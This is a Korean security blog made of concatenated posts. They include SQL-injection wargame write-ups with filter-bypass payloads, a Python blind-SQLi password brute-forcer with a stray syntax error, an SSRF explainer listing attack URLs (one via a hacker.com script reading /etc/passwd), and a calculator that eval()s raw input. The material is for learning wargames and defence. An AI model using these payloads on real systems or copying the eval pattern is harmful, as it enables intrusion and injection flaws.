문제를 보면 str_replace() 함수로 admin 이라는 문자열을 필터링 하고 있다. str_replace() 함수는 해당 문자열 패턴이 있으면 치환하는 것으로 이 문제에서는 admin이라는 문자열을 없는 값으로 치환한다.  adadminmin으로 값을 주면 adadminmin 빨간색 부분이 치환되도, admin 이라는 값이 남아서 필터링을 우회할 수 있다.

payload : /?id=adadminmin

'Security & Hacking > Wargame' 카테고리의 다른 글

[Hack CTF] x64 Buffer Overflow  (0) 2021.04.23
[LoS] skeleton  (0) 2020.11.10
[LoS] troll  (0) 2020.11.06
[LoS] orge  (0) 2020.11.06
[LoS] darkelf  (0) 2020.11.03

1. SSRF는 무엇인가?

SSRFServer-Side Request Forgery를 줄인 말로 서버에서 이루어지는 요청을 변조해 공격자가 의도한 서버로 요청을 가게 하거나 요청 자체를 변경할 수 있는 공격이다.

일반적으로 웹 서버를 운영하는 곳은 웹 서버만 공개적으로 열어두고, 내부에서 사용하는 다른 서버(ssh, 파일서버, 메일서버 등)는 외부에서 접속하지 못하도록 설정한다.

그러나 어떤 문제에 의해 외부에서 웹 서버를 통해 내부의 다른 서버로 접근이 가능하게 되면, SSRF 취약점이 발생할 수 있다.

웹 서버가 SSRF 취약점을 가지고 있다면 첫째로 특정 웹 서버로부터 정보를 획득할 수 있다.

해커는 원하는 URL로 접근 후 그 응답 데이터를 획득할 수 있다.

외부에서 접근이 금지된 내부의 중요한 시스템이 주 공격 대상으로 설정된다.

둘째로 조작된 HTTP Request를 특정 서버로 전송할 수 있다.

해커가 원하는 요청을 원하는 서버로 전송할 수 있으며 주로 취약한 버전을 사용하는 내부 시스템을 찾아 공격한다.

셋째로 내부 네트워크 스캐닝을 할 수 있다.

사설 IP로 구성된 내부 네트워크 정보를 획득하기 위해 응답 값 또는 응답 시간의 차이를 이용해 IPPortOpen여부가 파악 가능하다.

위 그림에서 정상적인 요청은 외부에서 접근 가능한 http:website.com/?url=http://111.222.11.12 으로 요청을 보내는 것이지만, 비정상 적인 요청은 외부에서는 접근할 수 없는 내부의 주소인 http:website.com/?url=http://10.12.13.18 로 요청을 보내는 것이다.

 

2. 실제 공격 방법

1. http://site.com/?url=http://192.168.0.2/GetCredentials

: 내부망 주요 정보 획득(응답 되는 경우)

2. http://site.com/?url= http://localhost:8080/admin

: 외부에서 접근 차단된 admin 페이지 접근]

3. http://site.com/?url= http://site.com:x@192.168.0.2/GetCredentials

: 도메인 체크를 우회하여 중요 정보 획득

4. http://site.com/?url= https://bit.ly/k8seMe4e

: 단축 URL을 활용하여 블랙리스트등의 필터링을 우회하고 내부망 연결

5. http://site.com/?url=http://internel.hacker.com/GetCredentials

: 도메인을 사설 주소로 설정해 필터링 우회(internel.hacker.com = 192.168.0.2)

6. http://site.com/?url=http://hacker.com/SSRF.htm

: SSRF.htm 페이지에서 스크립트를 사용하여 서버 내 파일 열람

스크립트 예시 :

<script>

         xhr=new XMLHttpRequest;

         xhr.open("GET","file:///etc/passwd");

         xhr.send();

</script>

 

3. SSRF 보안 기법

SSRF취약점은 입력 받은 데이터(url, script)가 올바른지 검증하지 않거나 부실하게 검증하여 발생한다.

따라서 SSRF 취약점을 예방하려면 입력 받은 데이터를 검증하여 허용되는 부분이 아니라면 필터링을 하여 막아야 한다. 필터링 하는 방식에는 Whitelist 방식과 Blacklist 방식이 있는데, Whitelist 방식은 사용자가 입력한 데이터에 대해 허용할 리스트를 설정하고 리스트에 속하지 않는 경우에는 모두 에러페이지로 연결하는 방식이고, Blacklist 방식은 허용하지 않는 리스트를 작성하여 입력 받은 데이터가 리스트 안에 있으면 에러 페이지를 연결하는 방식이다.

위 두가지 방식 중 비교적Blacklist 방식이 우회할 수 있는 방법이 많기 때문에 Whitelist 방식을 사용하는 것이 더 좋다.

'Web > Vulnerability' 카테고리의 다른 글

CSRF  (0) 2020.01.22

문제를 보면 id 값이 admin 이면 문제는 해결된다. preg_math() 함수로 필터링 하는 문자들을 보면 '(따옴표)를 필터링 하고 있고, admin 이라는 문자열을 필터링 하고 있다. 그러나 첫번째 preg_match() 함수를 보면 i 가 있고, 두번째는 i가없다. preg_match() 함수의 패턴 구분자 뒤의 'i'는 대소문자 무시를 하게 된다. 만약 두번째 preg_match() 함수에 'i' 가 있었다면 admin 이라는 문자열이든, Admin 이라는 문자열이든 대소문자 구분하지 않고 필터링 하게 된다. 그러나 지금 이 함수에는 'i' 가 없다. 또한 mysql은 대소문자 구분을 하지 않는다. 따라서 대문자로 우회할 수 있다.

 

payload : /?id=ADmin

'Security & Hacking > Wargame' 카테고리의 다른 글

[LoS] skeleton  (0) 2020.11.10
[LoS] vampire  (0) 2020.11.10
[LoS] orge  (0) 2020.11.06
[LoS] darkelf  (0) 2020.11.03
[LoS] goblin  (0) 2020.11.03

문제를 보면 or과 and를 필터링 하고 있다. 문제를 풀려면 pw의 정확한 값을 알아내야 한다. pw의 정확한 값을 알아내기 위해 먼저 pw의 길이를 알아내고, 그다음에 정확한 값을 알아내야 한다. pw 길이를 알아내기 위해서는 orc 문제를 풀때 사용했던 것처럼 length() 함수를 사용할 것이고, 값을 알아내기 위해서는 substr() 함수를 사용할 것이다. 전체적인 코드는 orc 문제의 코드와 비슷하나 or 이라는 문자열이 필터링 되었기 때문에 동일한 역활을 하는 || 연산자로 우회를 하면 문제를 해결할 수 있다.

# los_orge.py
import requests
import re

headers = {'cookie': 'PHPSESSID=r6u3ju9bidkgqfvu2vtfc7h3cv;'}
url = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php/'

pw_len = 0
pw = ''
tryList = list('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ')
# substr() 함수에서 대입할 문자들(숫자, 알파벳 대소문자)

# pw 길이 알아내기
while True:
    pw_len += 1
    payload = "?pw=' || length(pw)='" +str(pw_len)
    r = requests.get(url+payload, headers = headers)0
    if(re.findall('Hello admin', r.text)):
        break

print('password length : ' +str(pw_len))

# 정확한 값 알아내기
for i in range(1, pw_len+1):
    for j in range(len(tryList)+1):
        payload = "?pw=' || substr(pw," +str(i) +",1)='" +str(tryList[j])
        r = requests.get(url+payload, headers=headers)
        print(payload)

        if re.findall('Hello admin', r.text):
            print(tryList[j])
            pw += str(tryList[j])
            break

print('password : '+pw)

코드를 수행하면 다음과 같은 결과가 나오고 찾은 pw 값을 입력하면 문제가 해결된다.

'Security & Hacking > Wargame' 카테고리의 다른 글

[LoS] vampire  (0) 2020.11.10
[LoS] troll  (0) 2020.11.06
[LoS] darkelf  (0) 2020.11.03
[LoS] goblin  (0) 2020.11.03
[LoS] orc  (0) 2019.11.29

직렬화는 데이터 구조나 객체를 동일하거나 다른 컴퓨터 환경에 저장하고, 나중에 재구성할 수 있는 포맷으로 변환하는 과정이다. 직렬화한 데이터를 다시 추출하는 과정은 역직렬화 라고 한다.

 

자바스크립트에서 직렬화를 하기 위해 node-serialize 라는 모듈을 사용하겠다.

 

 serialize() 함수를 통해 직렬화를 진행하고, unserialize() 함수를 통해 역직렬화를 진행한다.

 

'Web > Develop' 카테고리의 다른 글

[NodeJS] 접속자 아이피 가져오기  (0) 2020.11.19
[Javascript] IIFE  (0) 2020.10.28
[Javascript] 사칙연산 계산기  (0) 2020.08.21
[PHP] isset()  (0) 2020.06.14
[PHP] PDO로 데이터베이스(mysql) 연결  (0) 2020.06.14

문제를 보면 id 값이 admin 이여야 하고 preg_match() 함수를 통해 or과 and 가 필터링 되어 있다. 이 문자열들은 sql에서 ||(or) 연산자와 &&(연산자)도 같은 역활을 한다. 따라서 || 연산자를 활용하여 or 필터링을 우회할 수 있다.

/?pw='||id=admin 으로 쿼리를 주입하면 문제를 해결할 수 있다.

'Security & Hacking > Wargame' 카테고리의 다른 글

[LoS] troll  (0) 2020.11.06
[LoS] orge  (0) 2020.11.06
[LoS] goblin  (0) 2020.11.03
[LoS] orc  (0) 2019.11.29
[LoS] cobolt  (0) 2019.11.26

 

문제를 보면 id 값이 admin이면 문제가 풀리고, 현재 id 값은 guest 이다. preg_match()함수를 통해 싱글쿼터(')와 더블쿼터(")는 모두 필터링 되어 있다.

no 값에 1을 넣어 보면 hello guest가 출력되는 것을 보니 guest의 no 값은 1이다.

싱글 쿼터가 필터링 된 것은 hex값을 이용하여 우회할 수 있다. id 값이 admin이여야 하므로 admin의 hex 값은 0x61646d696e 이다. 

쿼리를 /?no=2 or id=0x61646d696e  로 전송하게 되면 앞에 no 값이 거짓이기 때문에 id값은 admin이 되어 문제를 해결할 수 있다.

 

'Security & Hacking > Wargame' 카테고리의 다른 글

[LoS] orge  (0) 2020.11.06
[LoS] darkelf  (0) 2020.11.03
[LoS] orc  (0) 2019.11.29
[LoS] cobolt  (0) 2019.11.26
[LoS] gremlin  (0) 2019.11.26

IIFE는 즉시 실행 함수 표현을 의미한다.(Immediately Invoked Function Expression)

정의되자마자 즉시 실행되는 함수를 말한다.

함수 전체를 괄호()로 감싸고 즉시 실행 함수를 생성하는 괄호()를 붙이면 자바스크립트 엔진은 함수를 즉시 해석하여 실행한다.

ex)

(function hi(){
    console.log('hi');
})();

 

 

'Web > Develop' 카테고리의 다른 글

[NodeJS] 접속자 아이피 가져오기  (0) 2020.11.19
[Javascript] serialization(직렬화)  (0) 2020.11.04
[Javascript] 사칙연산 계산기  (0) 2020.08.21
[PHP] isset()  (0) 2020.06.14
[PHP] PDO로 데이터베이스(mysql) 연결  (0) 2020.06.14
<!DOCTYPE html>
<html lang="ko">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CALC</title>
    <script>
        // 숫자와 연산기호 입력
        function input_num(calc_num){
            document.getElementById("formula").value += calc_num;
        }

        // 사칙연산 수행
        function calculate(result){
           var formula = document.getElementById("formula").value;
           result = eval(formula);

           document.getElementById("result").value = result;
        }

        // 초기화
        function reset(){
            document.getElementById("formula").value = null;
            document.getElementById("result").value = null;
        }


    </script>
</head>
<body>
    <div align='center'>
        <input type="text" name="formula" id="formula" size="30"><br> <!-- size:30 == 180pt -->
        <input type="text" name="result" id="result" size="30"><br>

        <input type="button" value="초기화" style="width: 90pt;" onclick="reset()">
        <input type="button" value="=" size="15" id="result_btn" style="width: 90pt;" onclick="calculate()"><br>

        <input type="button" style="width: 45pt;" id="btn" value="7" onclick="input_num('7')">
        <input type="button" style="width: 45pt;" id="btn" value="8" onclick="input_num('8')">
        <input type="button" value="9" style="width: 45pt;" id="btn" onclick="input_num('9')">
        <input type="button" value="+" style="width: 45pt;" id="btn" onclick="input_num('+')"><br>

        <input type="button" value="4" style="width: 45pt;" id="btn" onclick="input_num('4')">
        <input type="button" value="5" style="width: 45pt;" id="btn" onclick="input_num('5')">
        <input type="button" value="6" style="width: 45pt;" id="btn" onclick="input_num('6')">
        <input type="button" value="-" style="width: 45pt;" id="btn" onclick="input_num('-')"><br>

        <input type="button" value="1" style="width: 45pt;" id="btn" onclick="input_num('1')">
        <input type="button" value="2" style="width: 45pt;" id="btn" onclick="input_num('2')">
        <input type="button" value="3" style="width: 45pt;" id="btn" onclick="input_num('3')">
        <input type="button" value="*" style="width: 45pt;" id="btn" onclick="input_num('*')"><br>

        <input type="button" value="0" style="width: 60pt;" id="btn" onclick="input_num('0')">
        <input type="button" value="." style="width: 60pt;" id="btn" onclick="input_num('.')"> 
        <input type="button" value="/" style="width: 60pt;" id="btn" onclick="input_num('/')"><br>
    </div>
</body>
</html>

 

'Web > Develop' 카테고리의 다른 글

[Javascript] serialization(직렬화)  (0) 2020.11.04
[Javascript] IIFE  (0) 2020.10.28
[PHP] isset()  (0) 2020.06.14
[PHP] PDO로 데이터베이스(mysql) 연결  (0) 2020.06.14
[PHP] phpinfo  (0) 2020.06.12
<?php
	isset($var);
	isset($var1, $var2, $var3);
?>

괄호 안의 변수가 설정 되어있는지 확인한다. 설정 되어있으면 true를, 설정되어 있지 않으면 false를 반환한다.

여러개의 변수를 인자로 받으면 모든 변수가 설정되어 있어야 true를 반환한다.

'Web > Develop' 카테고리의 다른 글

[Javascript] IIFE  (0) 2020.10.28
[Javascript] 사칙연산 계산기  (0) 2020.08.21
[PHP] PDO로 데이터베이스(mysql) 연결  (0) 2020.06.14
[PHP] phpinfo  (0) 2020.06.12
[JavaScript] 화살표 함수  (0) 2020.02.02

+ Recent posts